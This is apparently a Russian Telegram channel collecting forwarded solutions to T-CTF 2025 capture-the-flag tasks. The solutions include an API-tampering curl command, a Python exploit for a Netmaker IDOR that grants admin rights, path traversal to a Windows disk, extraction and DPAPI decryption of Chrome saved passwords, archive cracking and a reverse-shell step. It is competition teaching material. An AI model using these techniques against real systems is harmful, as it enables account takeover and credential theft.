S
Задача про землекопов лига опытных. Открываем в режиме разработчика бразуер. Смотрим сеть. Видим там запрос, раскрываем его и через курл тыкаем curl -X PUT https://site.ctfapi/cloner/{id} -H "Content-Type: application/json" -d '{"config": {"count": 1000000}}'…
автор прислал более компактное решение
Forwarded from S
curl -X PUT https://t-digduper-scx3wg9q.spbctf.net/api/cloner/62a02f86-9c99-432f-bb8e-0f8915baf840 -H "Content-Type: application/json" -d '{"config": {"count": 199999, "timeout": 30}}'
Forwarded from S
это корректиное решение, там еднственная тонкость что каунт до 200 000 и надо меньше. 200000 - входит в множество
Forwarded from GoldKing
1. Регаешься на сайте
2. Потом заходишь в админ панель с помощью
https://t-bugman-rhioogh9.spbctf.net/docs
3. Там есть GET /bugman-photos-stash-20240328
4. Try it out.
5. Там загружается страница и там сразу флаг
2. Потом заходишь в админ панель с помощью
https://t-bugman-rhioogh9.spbctf.net/docs
3. Там есть GET /bugman-photos-stash-20240328
4. Try it out.
5. Там загружается страница и там сразу флаг
Forwarded from R H
#человекжук
По этому заданию количество комбинаций можно сократить до 16млн для подбора.
Смотрим алгоритм шифровани, разбиваем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципу base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 16 млн варианта, скармливаем архив Джеку рипперу с этим вордлистом.
По этому заданию количество комбинаций можно сократить до 16млн для подбора.
Смотрим алгоритм шифровани, разбиваем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципу base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 16 млн варианта, скармливаем архив Джеку рипперу с этим вордлистом.
👍1
Forwarded from Айнур Низамов
Кстати по пятнецемобилю. Можно было глянуть кнопку оплаты, она всегда вела на страницу /pay?checkout_id=id, где вместо id какое то число от 1 и далее. Можно было потыкать с разными id и найти ту оплату, где уже кто то решил и получил флаг (на скажет флаг или то, что не хватает средств)
😁9❤5👍2🔥2
T-CTF, походу, решили отменить... :(
Источник:я календарь пересмотрю, а там апрель ведь начался
Источник:
💊19🤣10😁3
9 часов вечера
Все райтапы по поводу T-CTF 2025 просьба традиционно скидывать мне в личку: @EvgenyKurmysa
Раз уж все задачи называются по типу "Капибада", "Капикойн" и т.д., то к райтапам просьба добавлять название таски с хэштегом В НАЧАЛЕ, вот так: #капипример
Все райтапы по поводу T-CTF 2025 просьба традиционно скидывать мне в личку: @EvgenyKurmysa
Раз уж все задачи называются по типу "Капибада", "Капикойн" и т.д., то к райтапам просьба добавлять название таски с хэштегом В НАЧАЛЕ, вот так: #капипример
⚡4😁1
Forwarded from Дмитрий via @telegraph
Telegraph
AI-writeup "Капаре"
Writeup: Взлом билетов в t-caparet через ECB-атаку Задача На сайте https://t-caparet-mzcx3vv9.spbctf.org/ дано два представления театра: /book/1 и /book/2. На /book/2 можно забронировать билет, на /book/1 — нельзя: стоит искусственное ограничение. Цель: получить…
⚡1
Forwarded from Dmitriy
TCTF 2025.zip
9.5 MB
> Все райтапы по поводу T-CTF 2025 просьба традиционно скидывать мне в личку
поделюсь архивом из obsidian (10 задач)
поделюсь архивом из obsidian (10 задач)
⚡3
Forwarded from Dmitriy
Капибады
Капибаза
Капибарса
Капибегущая строка
Капиблеф
Капибокс
Капибонд
Капиботы
Капибьюти
Капипаркинг
Капибаза
Капибарса
Капибегущая строка
Капиблеф
Капибокс
Капибонд
Капиботы
Капибьюти
Капипаркинг
⚡1
Forwarded from Nik
#Капирайт
1. Достаем IP откуда скачивается видео у
2. Затем nmap'ом сканим найденный IP.
3. Там открытый порт, на котором веб-страница для создания read-only пользователя в netmaker
4. Переходим по приложенной ссылке на панель netmaker'а.
5. Гуглим CVE по версии netmaker, находи IDOR, да приложенных сплоитов нет, но в гите можно было найти что изменилось.
Вот пример сплоита, который можно было написать:
6. Перезаходим в панель, чтобы обновить куку. Вуаля и мы админ.
7. Создаем клиент для подключения по wg во внутрянку.
8. Там сканим уже существующего клиента, находим у него порт 8888, т.е. jupyter notebook
9. Прокидываем себе реверс шелл и из домашней папки скачиваем файл с изображением флага
1. Достаем IP откуда скачивается видео у
[TCC].Capybarello.Cocosini.2025.Ita.CAMRip.x264.mkv.torrent
2. Затем nmap'ом сканим найденный IP.
3. Там открытый порт, на котором веб-страница для создания read-only пользователя в netmaker
4. Переходим по приложенной ссылке на панель netmaker'а.
5. Гуглим CVE по версии netmaker, находи IDOR, да приложенных сплоитов нет, но в гите можно было найти что изменилось.
Вот пример сплоита, который можно было написать:
import requests
import json
USERNAME = "kapipapi"
PASSWORD = "Kapipapi123!"
TARGET_URL = f"https://api.t-capyvpn-6pf96esn.spbctf.org/api/users/{USERNAME}"
AUTH_URL = "https://api.t-capyvpn-6pf96esn.spbctf.org/api/users/adm/authenticate"
OAUTH_TOKEN = ""
response = requests.post(AUTH_URL, json={"username": USERNAME, "password": PASSWORD})
OAUTH_TOKEN = response.json()["Response"]["AuthToken"]
headers_escalate = {
"Authorization": f"Bearer {OAUTH_TOKEN}",
"Content-Type": "application/json"
}
payload_escalate = {
"username": USERNAME,
"password": PASSWORD,
"isadmin": True
}
# Send PUT request
response = requests.put(
TARGET_URL,
headers=headers_escalate,
data=json.dumps(payload_escalate)
)
# Check response
if response.status_code == 200:
print("[+] Success! Admin privileges granted.")
print("Response:", response.json())
else:
print("[-] Exploit failed.")
print(f"Status Code: {response.status_code}")
print("Response:", response.text)
6. Перезаходим в панель, чтобы обновить куку. Вуаля и мы админ.
7. Создаем клиент для подключения по wg во внутрянку.
8. Там сканим уже существующего клиента, находим у него порт 8888, т.е. jupyter notebook
9. Прокидываем себе реверс шелл и из домашней папки скачиваем файл с изображением флага
🤯5⚡2
Forwarded from hazyfossa
#капибариста
1) Правила использования лежат на файлосервере, заменяем путь в url на /
2) В ./app удобно лежит исходник файлосервера, выясняем, что единственную проверку на побег из папки можно обойти путём вида /././../, что приведёт нас к реальному руту
3) Строка вида get('path', '').replace('//', '/') в исходниках намекает на винду, да и просто путём перебора папок в руте можно найти примонтированный диск C
4) В /mnt/c/Users находим пользователя capybarman, у которого из AppData для chrome находим сохранённые пароли (SQLite база) и encryption_key
5) Encryption_key сам зашифрован через Windows DPAPI, благо у нас есть неограниченный доступ к диску, вытаскиваем SAM, SECURITY и SYSTEM из Windows/config, Protect из ~/AppData/Roaming/Microsoft/Windows
6) Расшифровываем encryption_key, например через DataProtectionDecryptor от nirsoft или ручками
7) Расшифровываем ключом сохранённый в хроме пароль, вводим, получаем флаг
1) Правила использования лежат на файлосервере, заменяем путь в url на /
2) В ./app удобно лежит исходник файлосервера, выясняем, что единственную проверку на побег из папки можно обойти путём вида /././../, что приведёт нас к реальному руту
3) Строка вида get('path', '').replace('//', '/') в исходниках намекает на винду, да и просто путём перебора папок в руте можно найти примонтированный диск C
4) В /mnt/c/Users находим пользователя capybarman, у которого из AppData для chrome находим сохранённые пароли (SQLite база) и encryption_key
5) Encryption_key сам зашифрован через Windows DPAPI, благо у нас есть неограниченный доступ к диску, вытаскиваем SAM, SECURITY и SYSTEM из Windows/config, Protect из ~/AppData/Roaming/Microsoft/Windows
6) Расшифровываем encryption_key, например через DataProtectionDecryptor от nirsoft или ручками
7) Расшифровываем ключом сохранённый в хроме пароль, вводим, получаем флаг
⚡5